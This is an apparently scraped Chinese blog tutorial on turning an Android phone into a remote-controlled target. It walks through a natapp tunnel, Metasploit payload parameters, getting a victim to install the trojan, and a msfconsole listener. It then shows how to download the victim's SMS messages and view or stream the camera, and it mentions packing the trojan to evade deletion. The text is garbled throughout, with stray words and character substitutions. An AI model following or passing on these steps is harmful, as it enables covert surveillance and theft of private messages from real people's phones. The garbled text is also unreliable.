首先控制安卓手机，须要生成一个木马，生成后门web
kali的IP地址：172.16.3.45app
文章生成的木马 是一个裸壳的，在个别手机上会被强行删除，若是只须要达到实验的目的，关闭手机上的权限就能够了，若是要避开，则须要对木马进行加壳等操做网站
1.要达到远程控制安卓手机，你须要避开公网，因此在这里能够去买条隧道，我使用的是natapp里面的隧道编码
在natapp里面注册登陆，能够去免费领取一条隧道，也能够去购买隧道，都很实惠的命令行
2.得到隧道对应的IP地址以及端口号3d
首先配置隧道参数server
ip地址选择你的kali的IP地址，本地端口尽可能选择高位端口blog
下载natapp，打开token
natapp -authtoken=********** （********为隧道的authtoken，能够在natapp里面个人隧道查看 回车）ip
3
能够获得等下作木马的时候须要配置的端口（也就是上图的38070），，，等等，，是否是还有一个IP地址没设？OK，下一步就来了
复制server.natappfree.cc,而后再打开另外一个命令行，PING，就能够获得等下作木马须要的IP地址
4.至此，生成木马所须要的参数都有了，下一步打开kali生成木马
这里的lhost=IP地址是你PING server.natappfree.cc得出来的IP地址
5.将生成的木马发送给目标手机让其安装
6.在kali里面进行监听
（能够直接在命令行里面输入msfconsole，也能够打开箭头的应用）
7.设置模块及载荷
8.开始设置监听的参数（能够先show options 查看须要设置哪些参数）
这里的lhost是本身kali的IP地址
lport要对应你在natapp网站里面设置的端口
9.让对方安卓手机打开木马
创建链接成功！
10.能够干“坏事”了
下载对方短信
打开下载的文件打开
不要紧，改下编码就好了
查看手机的摄像头
webcam_list
摄像头拍照
webcam_stream 1
还有不少不少功能 能够输入help进行查看，这里我就不进行一一列举了
注意了不要真的去干坏事哦